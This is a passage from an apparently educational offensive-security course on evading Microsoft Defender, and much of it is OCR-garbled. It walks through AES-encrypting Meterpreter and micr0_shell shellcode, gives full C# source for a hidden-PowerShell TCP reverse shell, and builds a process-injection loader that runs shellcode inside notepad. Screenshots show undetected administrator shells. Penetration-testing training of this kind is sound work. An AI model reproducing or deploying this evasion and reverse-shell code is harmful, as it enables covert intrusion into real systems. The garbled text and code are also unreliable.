byte[] iv = new byte[16] { Oxee, 0x7d, 0x63, 0x93, 0x6a, 0xcl,
Oxd8, Oxed, Oxc5, Oxca, 0x82, Oxdf, Oxa5, Oxe2 };
ICryptoTransform decryptor = aes.CreateDecryptor(key, iv);
byte[] buf;

using (var msDecrypt = new
System.I0.MemoryStream(Convert.FromBase64String(bufEnc)))

Oxbf, 0x02,

oxf2, 0x86,


https://gchq.github.io/CyberChef/#recipe=From_Hex('0x%20with%20comma')AES_Encrypt(%7B'option':'Hex','string':'1f768bd57cbf021b251deb0791d8c197'%7D,%7B'option':'Hex','string':'ee7d63936ac1f286d8e4c5ca82dfa5e2'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D)To_Base64('A-Za-z0-9%2B/%3D')

using (var csDecrypt = new (msDecrypt,
decryptor, CryptoStreamMode.Read))
{

using (var msPlain = new .I0. ())
{

csDecrypt. (msPlain);

buf = msPlain. ();

<SNIP>

This time, running ThreatCheck against the compiled malware results ina "No threat
found!" message.

>olution Notivialware [T o
bufEnc = "hw GtqUlinX atHmAy (ar Slg/y: sh 8xbk NotMalware
: b/ Properties
b 2H =
Aes aes = Aes.Create();
[1 key re[16] { ox1f, ex76, ©x8b, oxd5, ex )xbf, @xez, , 8x25, @xld, exeb, ex@ , 9xd8, excl,
[1 iv = te[16] { exee, Ox7d, ©x63, 8x93 xel, Bxf2, xd8, Bxeld, @xc5, @xca exdf, @xa5
ICryptoTransform decryptor = aes.CreateDecryptor(ke
[1 buf;
(var msDecrypt = System.I0.M 3 t.FromBase6UString(bufEnc)))

(var csDecrypt = Cry am(msDecrypt, decryptor, CryptoStreamMode.Read))
( msPlain = System.I0.M y m())
csDecrypt.CopyTo(msPlain);

buf = msPlain.ToArray();

EN Administrator: Windows PowerShell

PS C:\Tools\NotMalware\NotMalware\bin\x64\Release> C:\Tools\ThreatCheck-master\ThreatCheck\ThreatCheck\bin\x64\Release\TE}
hraatChark axe \NotMalware.exe

PS C:\Tools\NotMalware\NotMalware\bin\x64\Release> _

We can confirm that Microsoft Defender Antivirus does not detect the program as
malicious by re-enabling Real-time protection, copying the file to the Desktop and
noticing it doesn't get immediatly removed. We can even go a step further and attempt to run
it, establishing a meterpreter session:



) > run

Started HTTP reverse handler on http://0.
. handling request from
handling request from

8080 handling request from
Meterpreter session 3 opened (127.0

meterpreter > & FreeRDP:10.129.229.169
File  Edit

2., Local Disk (C:)

F Network

Next Steps

1; (UUID: 1lzwk5hft) Without a database connected that payload UUID tracking will r

1; (UUID: 1lzwk5hft) Staging x64 load (202844 bytes)
1; (UUID: 1lzwk5hft) Without a database connected that pay

Build  Debug

Manage

§ Windows Security

Home

Virus & threat protection
Firewall & network protection
App & browser control

Device security

load UUID tracking will r

5. Virus & threat |
o
settings

View and update Virus & threat |
Microsoft Defender Antivirus.

Real-time protection
Locates and stops malware from
device. You can turn off this setti
turns back on automatically.

Protection history

.\NotMalware
.\NotMalware

Home Share View Application Tools —
v 4 s ThisPC > LocalDisk(C) > Tools > NotMahware > |
Narme - o @
# Quick access
Tools = 4l
(5] NotMalware 4
B Desktop 2 NotMalware.exe.config 3l o
Nothalware 1 MotMalware.pdb 4f
Release i}
0 This PC =
8 30 Objects
I Deskiop O
| Documents
& Downloads EX Administrator: Windows PowerShell
b Music
=) Pictures
B videos

If we try to open a shell within the Meterpreter reverse shell, our process will be detected

and consequently killed:

Windows Security
e

.. Virus & threatprotection
el

settings

Introduction-to-Evasion-Techniques : tmux: client — Konsole

meterpreter > shell

Process 2760 created.

Channel 1 created.

Microsoft Windows [Version 10. :
(c) Microsoft Corporation. All rights

C:\Users\Administrator\Desktop>whoami]

L Type here to search

ettings

hcy settings

" Windows Security
Windows Security

Threats found
)

Therefore, although we may have won the battle, we have lost the war. Evading such
behavioral detections is what we will learn about in the next section.

Dynamic Analysis


af://h4-18
af://h1-19

How Does It Work?

Since attackers can easily bypass static analysis, Microsoft

Defender Antivirus also utilizes dynamic analysis . Certain events can trigger memory
scans of a process, such as the creation of a new process or the detection of suspicious
behavior.

At the end of the previous section, we saw that once NotMalware.exe was run, it was very
quickly caught by Microsoft Defender Antivirus . Using Mp-GetThreatDetection we can

see that NotMalware.exe was detected based on behavior, specifically when it tried to
start another process.

ActionSuccess : True
AdditionalActionsBitMask Ht

AMProductversion = 4.18.24020.7

CleaningActionID 3E

CurrentThreatExecutionStatusID :

DetectionID : {85C3800B-65E1-4BBD-82A1-8C98DD49049F}
DetectionSourceTypelD 2
DomainUser 3
InitialDetectionTime z /2
LastThreatstatusChangeTime /
ProcessName

RemediationTime

Resources

p :_pid:
ThreatID : 2147728104
ThreatStatusErrorCode Ht
ThreatStatusID 4
PSComputerName :

Essentially, Microsoft Defender Antivirus noticed that the NotMalware.exe process
performed a suspicious operation, triggering a memory scan against it. Since the
meterpreter shellcode was residing unencrypted in memory at this point, Microsoft
Defender Antivirus detected and killed the process.

So what can we do about this? Well, let's take a look at the following three options...

Option 1: Modifying the Payload

As stated before, Meterpreter is well-known to Microsoft, therefore, the MSRC team
have developed various signatures for its unencrypted shellcode. However, one of the
methods we can evade behavioral analysis is by modifying the Meterpreter payload in
such a way that it either avoids triggering a memory scan or, if scanned, does not
match any signatures . Either one of these methods would require modifying the source
code of the Meterpreter payload, which is out-of-scope for this module.

Note: For students who are interested in a deeper understanding of what the Meterpreter
shellcode does, and how it could be obfuscated, the Intro to Assembly Language may be an
interesting module to work through.

Option 2: Changing the Payload

Unless using Meterpreter is mandatory, the other method to evade behavioral

analysis is changing the payload to a less well-known one. Since we only want to establish
a reverse shell, we can replace the Meterpreter stager shellcode with a minimal reverse
shell payload.


https://learn.microsoft.com/en-us/powershell/module/defender/get-mpthreatdetection
https://msrc.microsoft.com/
https://academy.hackthebox.com/module/85
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As an example, let's use micrO_shell. From the project description we can see that this
program generates "reverse shell shellcode for Windows x64".

¢ micrO0 shell

MicrOshell is a lightweight and efficient Python script designed for dynamically generating Windows X64
Position-Independent Code (PIC) Null-Free reverse shell shellcode Depending on the options selected, the
generated shellcode can be up to 27 bytes smaller than comparable shellcode from msfvenom, while also
avoiding the inclusion of 0x00 bytes. Additionally, because MSF's shellcode is widely used and therefore more
likely to be flagged by signature-based detection methods, the shellcode generated by micrOshell offers an
added layer of evasion capability.

—# ms nom -p windo ‘she C 0Ss 92.168.1.45 LPORT=443 -T csharp -v shellcc
-] No platform was , cho d :Module: :Platform: :Windows from the payload
pay

We can generate shellcode with our IP and port with the following command:

C:\Tools\micr@ shell> python.exe .\micr@ shell.py -i [IP] -p 8080 -1
csharp

Author: Senzee

Github Repository: https://github.com/senzeel984/micr0 shell

Description: Dynamically generate PIC Null-Free Reverse Shell Shellcode
Attention: In rare cases (.255 and .0 co-exist), generated shellcode could
contain NULL bytes, E.G. when IP is 192.168.0.255

[+]Shellcode Settings:

*krxkkkk TP Address: 10.10.14.104

kxckkxk | istening Port: 8080

*Fxxkx%% Language of desired shellcode runner: csharp
*rFkAk*k*k*k*k Shellcode array variable name: buf

*rxkkxkk Shell: cmd

*Hkxxxx*k Shellcode Execution: false

*Rkxkkxkk Save Shellcode to file: false

[+]Payload size: 476 bytes


https://github.com/senzee1984/micr0_shell

[+]Shellcode format for C

byte[] buf= new byte[476] {
<SNIP>
s

Afterward, we will copy paste the shellcode output into the AES-encryption CyberChef recipe
from before to get the new encrypted payload we will use in place of the Meterpreter

Recipe B m ¥ nput + O3 u=
F ¥ o n |ox48, %31, 0xd2, 0x65, 0x48, 0x8b, 0x42, 0x60, 0x48, 0x8b, x70, 0x18, 0x48, 0x8b, 0X76, 0x30, Ox4c, 0x8b, 0x0e, Ox4d, Ox8b, @x09, Ox
e 4d, 6x8b, Bx49, Bx10, Oxeb, Bx63, Ox41, 0x8b, 0x49, 0x3c, Ox4d, 0x31, OxTF, Bx41, 0xb7, 6x88, Bx4d, Bx81, OxcT, Bx49, OxB1, Oxcf, Bx45
Delimiter ,0x8b, 0x3f, Bx4d, 8x01, Oxcf, Bx41, 0x8b, Bx4f, x18, Ox45, Bx8h, Ox77, 0x20, Bx4d, 8x01, Oxce, Bxe3, Ox3f, Oxff, Oxc9, Ox48, 0x31,0

xf6,0x41, 0x8b, 0x34,0x8e, Ox4c, Ox01, Oxce, 0x48, 0x31, 0xcO, 0x48, 0x31, 0xd2, 0xfc, Oxac, 0x84, Oxco, 0x74,0x07, 0xcl, Oxca, Ox0
d,0x01, 0xc2, Oxeb, 0xf4, Ox44,0x39, 0xc2, 0x75, 0xda, 0x45, 0x8b, 0x57, 0x24, 0x4d, 0x01, Oxca, Ox41, 0x0f, 0xb7,0x0c, Oxda, Ox45,
oxsb, 0x5f, ex1c, 0x4d, 0x01, @xchb, 0x41, @x8b, @x04, 0x8b, Ox4c, Ox01, 0Xc8, OXC3, OXC3, @x4c, ©x89, 0xcd, @x41, 0xb8, 0x8e, Bxde, Ox

Ox with comma

AES Encrypt Sn fe, Oxec, Oxe8, Ox8f, Oxff, 0xFf, 0xff, 0x49, 0x89,0xcd, 0x48, 0x31, Oxcl, Ox66, 0xb8, Ox6c, Ox6C, 0x50, 0x48, 0xb8, 057, 0x53, 0X32
,0x5f, 0x33,0x32, 0x2e, 0x64, 0x50, 0x48, 0x89, Oxel, 0x48, 0x83, Oxec, 0x20, Oxdc, 0x89, Oxed, OxTf, OxdO, 0x48,0x83, Oxcd, 0x20,0

Key v x49,0x89, 0xc6, 0x49,0x89, 0xcl, 0x41,0xb8s, 0xcb, 0xed, @xfc, @x3b, ©x4c, 0x89, @xch, 8xe8, 0x55, Oxff, 0xff, oxff, 0x48,0x31, Oxc
1f768bd57chbfe21b .. HEX” ee7d63936ac1f286 .. HEX” 9,0x66,@xb9, @x98, 0x01, 0x48,0x29, 0xcc, 0x48, 0x8d, 0x14, 0x24,0x66, 0xb9, 0X02, OX02, @x48, Bx83, Oxec, 0x30, OxFf, Oxde, 0x48,

0x83, Oxcd, 0x30, Bx49, 0x89, 0xd9, Bx41, Oxb8, Oxd9, 0x09, Oxf5, Gxad, Oxe8, Ox2b, @xFf, Oxff, Oxff, 0x48, 0x83, Gxec, 0x30, Ox48, Ox

Made Input Output 31, 0xc9, Oxb1, 0x02, 0x48, 0x31, Oxd2, Oxb2, 0x01, Ox4d, 0x31, Oxce, Ox41, 8xbe, Ox06, Ox4d, Bx31, Bxc9, Oxdc, 0x89, Oxdc, Ox24, 0x20
CBC Raw Raw ,0x4c, 0x89, 0x4c, 0x24, 0x28, Oxff, 0xde, 0x49, 0x89, Oxc4, 0x48, 0x83, 0xc4, 0x30, 0x49, 0x89, Oxd9, @x41, @xb8, @x0c, @xba, 0x2d, ®
xb3,0xe8, 0xf3, Oxfe, Oxff, Oxff, 0x48,0x83, Oxec, 0x20, 0x4c, 0x89, Bxel, 0x48, 0x31,0xd2, Oxb2, 0x02, 0x48, 8x89, 0x14, 0x24, Ox4

8,0x31, @xd2, Ox66, @xba, @x1f, Bx90, @x48, Ox89, Bx54, @x24, Bx02, Bxba, @x0a, @x0a, Bx0e, Ox68, Bx48, 0x89, Bx54, Bx24, 0x04, Bx48,

To Base64 Qn 0x8d, 0x14,0x24, 0x4d, 0x31, 0xcO, 0x41, 0xb0, 0x16, Ox4d, Ox31, Oxc9, Ox48, 0x83, Oxec, 0x38, Ox4c, 0x89, Oxdc, 0x24, 0x20, Oxdc, 0
89, Oxdc, 0x24, 0x28, 0xdc, 0x89, Oxdc, 0x24, 0x30, 0xFf, OxdO, 0x48, 0x83, Oxc4, 0x38,0x49, 0x89, Oxed, Ox41, 0xb8, 0x72, 0xfe, 0xb3

Alphabet - ,0x16, Oxe8, Bx99, Oxfe, Oxff, Oxff, Ox48, Oxba, 8x9c, 0x92, Bx3b, Oxd1, Ox9a, Bx87, 8x9a, OxFf, Ox48, Oxf7, Oxd2, Ox52, Ox48, 0x89, 0

A-Za-z0-9+/=
we 2379 = 1 Tr Raw Bytes ¢ LF

Output - a0 m:

VET7Jr L0iNB5NQ7 1xuOvQ9081/cgBt +Po+vt t JqwpZ] rgq8u+6gRzpAPMZEK FNh3Ws YSEPEULUBNSR j GHUXFAUUMME1EZx07DRaY jpaTNv7mHyuh
rud
/XY6LGLjgqgcBnnRacyEI7oNct8pi0TIKEWLYMK1WGGTqptGE3MEWg1r9BudSBwelIwf tMt6JsgbIsMLOhwEVZz5+uR8h] dvIuWVAWG Lm4POEICET
EraeguDNSnlcghJnnOgu+1x/P4mo3tPHn2DNIyhe3Z15JyQlecxBSKHU3gr3vzmIyNNk9e j7CznIR2F/7ZVnAx37BtSeobLn
/7g9reAkhh6EZT+DibOBUTJIBMBYNEEVXMC37LadYXtDj12MSOUCYVIH

/dcy98QvHszSgd+F7LudIQBEShImIDIKOP] 3xMfy5TLANTyrnSrvTGBIjGGPGYNZmwpafd4nySw

/kLoVUu2k3Nhof6oARYKTpD4Re Jc51PBeOVrp3TPSzsHWuUroYrQG58D6 raMjmiFNwFe
/R1iRGBIXxbgeNwl5fnv¥igoSquvuvopfimaop68wWmNHBRafH30FEq65wiMVak6MIEKUEZ960koWmoPTwmS4BGTQF 1Xx
/KHPZGhQ6dcGEEBSMT1T+wK+F5k8 r|

Inside NotMalware, we can replace the base64 string with this new one and recompile the
program.



https://gchq.github.io/CyberChef/#recipe=From_Hex('0x%20with%20comma')AES_Encrypt(%7B'option':'Hex','string':'1f768bd57cbf021b251deb0791d8c197'%7D,%7B'option':'Hex','string':'ee7d63936ac1f286d8e4c5ca82dfa5e2'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D)To_Base64('A-Za-z0-9%2B/%3D')

File Edit View Git Project Build Debug Test Analyze Tools Extensions Window  Help 2 Search - NotMalware
D - ﬁ -EEE 9 - [ Build Salution Ctrl+Shift+B B E e LR
Rebuild Solution
Program.cs + X Clean Solution

NotMalhware Run Code Analysis on Solution Alt+F11 ~ FMain(string[] args)

1StartAddr, flallocationType, flProtect);
Build MotMalware Ctrl+B

Rebuild MotMalware
Cl MNothal

St 1Address, uint dwSize, FflNewProtect, 1pfloldProtect);
Publish MetMalware

Run Code Analysis on NotMalware

Batch Build... IThreadAttributes, dwStackSize, IntPtr lpStartAddress, IntPtr param,

Configuration Manager...
[D1lImporcy-Kernecsz- )

WaitForSingleObject(IntPtr hHandle, dwMilliseconds);

= {VET7Jr10iNBSnQ71xu0v(Q9081/ cqBt +Po+vt tIgwpZ { raqBu+6gRzpAPMZEKFNh 3WsYSEPEULUBNIR {GHUXFUUUNME1EZx0TDRaY paTNvTmHyuh! B

Aes aes = Aes.Create();
[]1 key = te[16] { @x1f, 6x76, 8x8b, @xd5, @x7c, Bxbf, @x82, éxlb, 8x25, 8x1d, Oxeb, 8x87, 6x91, @xd8, @xcl, 8x97 };
te[] iv = new byte[16] { 6xee, Ox7d, 8x63, 8x93, Ox6a, @Oxcl, 8xf2, Ox86, Oxd8, @xed, Bxc5, Oxca, OxB2, 8xdf, @xa5, Oxe2 };
ICryptoTransform decryptor = aes.CreateDecryptor(key, iv);
te[] buf;
1 msDecrypt = new System.X0.Flem m(Convert.FromBase&UString(bufEnc}))

‘ g —— e rr——— = =

100% =4 @ Noissues found &~ 4 In:44  Chiss  SPC

csDecrypt = new Cryptos am(msDecrypt, decryptor, CryptoStreamfode.Read))

Output

Show output from: Build
Build started at 8:84 AM...
1»------ Build started: Project: MotMalware, Configuration: Release x64
NotMalware -> C:\Tools\NotMalware\NotMalware\bin\x64\Release\NotMalware.exe
=== Build: 1 succeeded, @ failed, ® up-to-date, ® skipped == ===
Build completed at 8:85 AM and took ©2.226 seconds ===

Now, when we run NotMalware.exe from the Desktop with Real-time protection
enabled, we notice that we get a reverse shell and can interact with it without getting
detected by Microsoft Defender Antivirus .

- . FreeRDP:
kali® kali - - w = e

$ 8080
listening on [any] 8080 ...
connect to [ ] from (UNKNOWN) [ 1 58233 Bin

Microsoft Windows [Version 10.0.20348.405] «
(c) Microsoft Corporation. All rights reserved. v & Virus & threat pI'OtECti(

C:\Users\Administrator\Desktop>whoami settings
whoami

win-1092s52v54f8\administrator

> This PC
At Home

Virus & threat protection
C:\Users\Administrator\Desktop>net user Administrator
net user Administrator | Firewall & network protection
Administrator

Built-in account for administering the com
000 (System Default)

Yes
Account expires Never

L]
D Protection history

last set 3/19/2024 1:50:17 PM
expires Never

changeable 3/19/2024 1:50:17 PM
required Yes

change password Yes

PS C:\Users\ \Desktop> .\NotMalware.exe
PS C:\Users\Administrator\Desktop> .

ALl

4/11/2024 5:25:02 AM
Logon hours allowed ALl
Local Group Memberships *Administrators

Global Group memberships *None
The command completed successfully.

C:\Users\Administrator\Desktop>|

Option 3: Writing Custom Tools

Given their prevalence in offensive security operations (and cybercrimes), antivirus solutions
maintain various signatures for open-source tools like Metasploit and Mimikatz .
However, it often takes time for antivirus solutions to develop signatures for new and
immature tools. In this section, we successfully evaded detection by substituting the



af://h2-23

Meterpreter payload with the micr@ shell payload. This approach was effective because
it's probable that Microsoft Defender Antivirus does not currently include a signature
for this specific shellcode. Consequently, even if a memory scan is initiated, no suspicious
events are likely to be detected. However, it's not unlikely that a signature will be added in
the future if the use of micr® shell becomes more widespread among attackers.

This brings us to our third and final option, which is the most effective, but also most time-
consuming - writing custom tools. When using custom tools,
neither static nor behavioral analysis poses an issue, since they will not match

any known malicious signatures.

As an example, let's write a simple TCP reverse shell program, which will not require

any obfuscation or encryption since it does not use any known malicious component
present in an antivirus solution signatures database. Open Visual Studio 2022 and create
anew Console App (.NET Framework) project called RShell.

Create a new project

Recent proiect templates - All platforms - All project types

)
B Console App (.NET Framework) for creating a command-line application
Windows Console
ole App (.MET Framewaork)
ject for creating a command-line application
Wisual Basic Windows Console
C¥ Windows Forms App (.NET Framework)

A project for creating an application with a Windows Forms (WinForms) user
interface

C# Windows Desktop
C¥ WPF App (.MET Framework)
Windows Presentation Foundation client application
o# HAML Windows Desktop
WPF App (NET Framework)
Windows Presentation Foundation client application
Visual Basic XA Windows Desktop

# Class Library (.NET Frarnework)

r creating a C# class lib

To develop a reverse shell in C#, we will need to make use of the following classes:

System.Net.Sockets.TcpClient to handles the TCP connection

System.Diagnostics.Process to spawn the cmd.exe or powershell.exe process
System.l0.StreamReader, System.lO.Stream\Writer to read/write tothe TCP stream

One example of a simple C# reverse shell is provided below. It establishes a connection to
an |IP address and port specified on the command line, spawns a powershell.exe process,
and redirects communication for STDOUT, STDIN, and STDERR to the process.


https://learn.microsoft.com/en-us/dotnet/api/system.net.sockets.tcpclient?view=net-8.0
https://learn.microsoft.com/en-us/dotnet/api/system.diagnostics.process?view=net-8.0
https://learn.microsoft.com/en-us/dotnet/api/system.io.streamreader?view=net-8.0
https://learn.microsoft.com/en-us/dotnet/api/system.io.streamwriter?view=net-8.0

using System;

using System.IO;

using System.Net.Sockets;
using System.Diagnostics;

namespace RShell

{
internal class Program
{
private static StreamWriter streamWriter; // Needs to be global so
that HandleDataReceived() can access it

static void Main(string[] args)

{
// Check for correct number of arguments
if (args.Length != 2)

{
Console.WriteLine("Usage: RShell.exe <IP> <Port>");
return;

}

try

{

// Connect to <IP> g <Pgrt>/TCP
TcpClient client = Wew)TcpClient();
client.Connect{args[@0], int.Parse(args[1l]));

// Set up igput/output streams

Stream Stfeam®*= client.GetStream();

StreamReader streamReader = new StreamReader(stream);
streamWriter = new StreamWriter(stream);

// Define a hidden PowerShell (-ep bypass -nologo) process
with STDOUT/ERR/IN all redirected

Process p = new Process();

p.StartInfo.FileName =
"C:\\Windows\\System32\\WindowsPowerShell\\v1l.0\\powershell.exe";

p.StartInfo.Arguments = "-ep bypass -nologo";
.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
.StartInfo.UseShellExecute = false;
.StartInfo.RedirectStandardOutput = true;
.StartInfo.RedirectStandardError = true;
.StartInfo.RedirectStandardInput = true;

p.OutputDataReceived += new
DataReceivedEventHandler(HandleDataReceived);

p.ErrorDataReceived += new
DataReceivedEventHandler (HandleDataReceived) ;

T T T T T

// Start process and begin reading output



string userInput = "";

while (l!userInput. ("exit"))
{
userInput = streamReader. ();
p.StandardInput. (userInput);
}
p. ();
client. (0);
}
catch ( ) {1}
}
private static void tyed(Object sender,
e)
{
if (e.Data != null)
{
streamWriter.WritélLine(e.Data);
streamWriter.Ftush();
}
}

When running the program, we get a interactive PowerShell session and we didn't get
blocked by Microsoft Defender Antivirus, because we didn't use anything known to be
malicious . Even if it decides to do a memory scan of our process when powershell.exe
is spawned as a child process, nothing should be detected since we won't be matching any
known signatures.



kali® kali -/htb/academy/work/ & Frefo™

Tlistening on 8080 ...
] from (UNKNOW [eesfigy

o Virus & threat prote
o
settings

or
strator\Desktop> net
ninistr S C -\RShell.exe 808! fal View and update Virus & threat protectic
Full Name Micrasoft Defender Antivirus.
Comment Built-in
's comment
gion code 000 (Syst
Account active Yes
Account expires Never

Real-time protection

Locates and stops malware from installir
your device. Vou can turn off this setting
before it turns back on automatically.

@ on

User may c password . .
Cloud-delivered protection

Workstations allowed Provides increased and faster protection

Logon script the latest protection data in the cloud,
User profile Automatic sample submission turmed on
Home directory

. Cloud-delivered protection is off. Yo
Last logon 4/11/2024 A

device may be vulnerable.

Logon hours allowed All @ ) of

Local Group Memberships *Administ
Global Group memberships *None Aut ti | B
The command completed successfully. CLTu BTl 8 G S [ES Tl
Send sample files to Microsoft to help pi
others from potential threats. We'll prom

4
PS C:\Users\Administrator\Desktop> 1s & settings file we need is likely to contain persanal

Directory: C:\

Ll © Type here to search =]

Mode LastWriteTime Length Name

Although using custom-made tools is the most effective solution for evading detection, in

practice there are limits to both time and budget. Therefore, penetration testers, red teamers,
and malicious actors are oftentimes forced to use open-source software at one point or
another because it is infeasible to recreate Rubeus, for.example.

Process Injection

Introduction to Process Injection

Process injection is an evasion technique which entails running malicious code within the
address space of another process. There are many ways it can be done, including:

Dynamic-link Library Injection: An attacker writes the path of a malicious DLL into the

address space of a target process and then calls LoadLibrary.

Portable Executable Injection: An attacker copies code into the address space of a
target process and then executes it with CreateRemoteThread.

Process Hollowing: An attacker spawns a target process in a suspended state, replaces

the entrypoint in memory with their own code, and then resumes the process.

Thread Execution Hijacking: An attacker suspends a thread in a target process,
replaces the code with their own malicious code, and then resumes the thread.

In this section, we will use Portable Executable Injection to execute our micr@ shell
payload from the previous section.

Introduction to Portable Executable Injection

As stated above, Portable Executable Injection is atechnique where attackers copy
their code into the address space of a target process and then execute it. There is more than


https://github.com/GhostPack/Rubeus
https://attack.mitre.org/techniques/T1055/
af://h1-24
af://h2-25
https://attack.mitre.org/techniques/T1055/001/
https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya
https://attack.mitre.org/techniques/T1055/002/
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
https://attack.mitre.org/techniques/T1055/012/
https://attack.mitre.org/techniques/T1055/003/
af://h2-26

one way to achieve this, but the most common way is by making use of the following
WinAPI functions:

VirtualAllocEx to allocate space in the memory of the target process for our shellcode

WriteProcessMemory to write our shellcode into that allocated space

CreateRemoteThread to execute the shellcode in the target process

We can gain a better understanding of the functionality of each winAPI function by
examining their parameters:

lpBaseAddress = (
hProcess,
lpAddress,
dwSize,
flAllocationType,

flProtect

hProcess,
lpBaseAddress, ‘e da

lpBuffer, el e
nSize, l-8Q e
*1pNumberOfBytesWritten Ro1

hProcess,
lpThreadAttributes,

dwStackSize,
lpStartAddress,

lpParameter,

dwCreationFlags,
lpThreadId

In our case, we will additionally make use of CreateProcess to spawn our target process,
and VirtualProtectEx so that we can initially allocate memory with Read/Write memory
protection, write the shellcode and then set it to Read/Execute before executing. This is not



https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotectex
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread

necessary, but some antivirus solutions find it suspicious when Read/Write/Execute
memory is allocated, so this is a simple workaround.

Case Study: AlsoNotMalware

Let's open up Visual Studio and create a new C# Console App (.NET Framework)
called AlsoNotMalware . Before we can use any of the Windows API functions we
discussed above, we will need to import them. Similarly to NotMalware , we will use
P/Invoke, a technology which allows us to access functions in unmanaged libraries from our
managed (C#) code. All in all, we will need the following definitions:

using System;
using System.Runtime.InteropServices;

namespace AlsoNotMalware

{
internal class
{
[ (LayoutKind.Sequential) ]
public struct
{
public hProcess;
public hThread;

public int dwProcessld;
public int dwThreadId;

}
[ (LayoutKind.Sequential) ]
internal struct PRQ
{
public Reservedl;
public PebAddress;
public Reserved?;
public Reserved3;
public UniquePid;
public MoreReserved;
}
[ (LayoutKind.Sequential) ]
internal struct
{
uint cb;
lpReserved;
lpDesktop;
lpTitle;
uint dwxX;
uint dwy;

uint dwXSize;


https://learn.microsoft.com/en-us/dotnet/standard/native-interop/pinvoke
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uint dwYSize;

uint dwXCountChars;
uint dwYCountChars;
uint dwFillAttributes;
uint dwFlags;
ushort wShowWindow;
ushort cbReserved;
IntPtr lpReserved2;
IntPtr hStdInput;
IntPtr hStdOutput;
IntPtr hStdErr;

public const uint PageReadWrite = 0x04;
public const uint PageReadExecute = 0x20;

public const uint DetachedProcess 0x00000008;
public const uint CreateNoWindow = 0x08000000;

[DULImport("kernel32.dll1", SetLastError = true, CharSet =
CharSet.Auto, CallingConvention = CallingConvention.StdCall)]

private static extern bool CreatePftocess(IntPtr lpApplicationName,
string lpCommandLine, IntPtr lpProcAttribs, ImtPtr 1lpThreadAttribs, bool
bInheritHandles, uint dwCreateFlags, IniPts lpEnvironment, IntPtr
lpCurrentDir, [In] ref STARTUPINFO dp§taftinfo, out PROCESS INFORMATION
lpProcInformation);

[DUTlImport("kernel32.dWl ', SetLastError = true, ExactSpelling

true)]
static extern IntRtP® VirtualAllocEx(IntPtr hProcess, IntPtr
lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DLlImport("kernel32.dll", SetLastError = true, ExactSpelling

true)]

private static extern bool VirtualProtectEx(IntPtr hProcess,
IntPtr lpAddress, uint dwSize, UInt32 flNewProtect, out UInt32
lpflOldProtect);

[DLLImport("kernel32.d11")]

static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr
lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr
LpNumberOfBytesWritten);

[DLLImport("kernel32.d11")]

static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr
lpThreadAttributes, uint dwStackSize, IntPtr 1lpStartAddress, IntPtr
lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

static void Main(string[] args)

{



With all the windows APIs referenced, we can write the actual logic which will perform the
PE injection inside the main method. First we will define our shellcode, which in this case
isthe micrd shell payload from the previous section:

byte[] buf = {<SNIP>};

startInfo = new ();
procInfo = new ();
uint flags = DetachedProcess | CreateNoWindow;
(IntPtr.Zero, "C:\\Windows\\System32\\notepad.exe",
IntPtr.Zero, IntPtr.Zero, false, flags, IntPtr.Zero, IntPtr.Zero, ref
startInfo, out procInfo);

Next, we will allocate Read/Write space for the shellcode inside the target process's
address space:

% | €od
lpBaseAddress = ; AL ¢ (procInfo.hProcess, IntPtr.Zero,
(uint)buf.Length, 0x3000, PageReadWrite);

We will write the shellcode into the space provided by the address that VirtualAllocEx
returned:

outSize;
(procInfo.hProcess, lpBaseAddress, buf, buf.Length, out

outSize);

Following that, we change the memory protection of the allocated space to Read/Execute:

uint UpflOldProtect;
(procInfo.hProcess, 1lpBaseAddress, (uint)buf.Length,
PageReadExecute, out lpflOldProtect);



Finally, we can call CreateRemoteThread to execute the shellcode inside the address space
of the target process:

hThread = (procInfo.hProcess, IntPtr.Zero, 0O,
lpBaseAddress, IntPtr.Zero, 0, IntPtr.Zero);

With everything put together, we can build the solution (Release, x64), and verify that it
works:

kali® kali
$ n 8080
listening on [any] 8080 ...
connect to [ 1 from (UNKNOWN) [

Microsoft Windows [Version 10.0.20348.405]
(c) Microsoft Corporation. All rights reserved.

C:\>whoami A FreeRDP:

whoami -

evasion-dev\administrator EX rdministrator: Windows PowerShell
:\Tools\AlsoNotMalware\AlsoNotMalware\bin\x64\Release\AlsolotMalware. exe

C:\>

View and change privacy settings

) Firewall & network protection for your Windows 10 device.

Real-time protection Privacy settings
B App & browser control Locates and stops malware from installing or running on Privacy dashboard

your device. You can turn off this setting for a short time P ren
B Device security before it turns back on automatically. ool

@ Protection history
Cn

Antimalware Scan Interface

Introduction to the Antimalware Scan Interface

The Antimalware Scan Interface (AMSI) is a standardized interface which Windows

applications can use to interact with the antimalware software in use. The following
diagram (taken from Microsoft) illustrates from a high level how it works - the important thing
to take away from this is that applications can make use of the functions AmsiScanBuffer

and AmsiScan$String to scan input for malicious content.



https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal
https://learn.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps
https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer
https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanstring
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Other Other
Application Application MsMpEng. e xe

$ I» i F [ Windows Defender Service)

AMSLE + ANSL i+ ANS]ELI
Win32 APl Layer AmaiScanBuffar()
ImaiScanString()
R i e HpEngine . dll
(Defender Scan Engine)
Zmai h + Mmai.dll

COM API Layer Iantimalware: - Scan() P, Ches MpSwe. d11
{Dafender RPC Server)

AV Provider Layer Windows Defender Provider Class 3™ Party AV Provider

ItntimslwareProvider: : Scan() Class

RPC

Although any application can make use of AMSI , in this section we will be focusing on
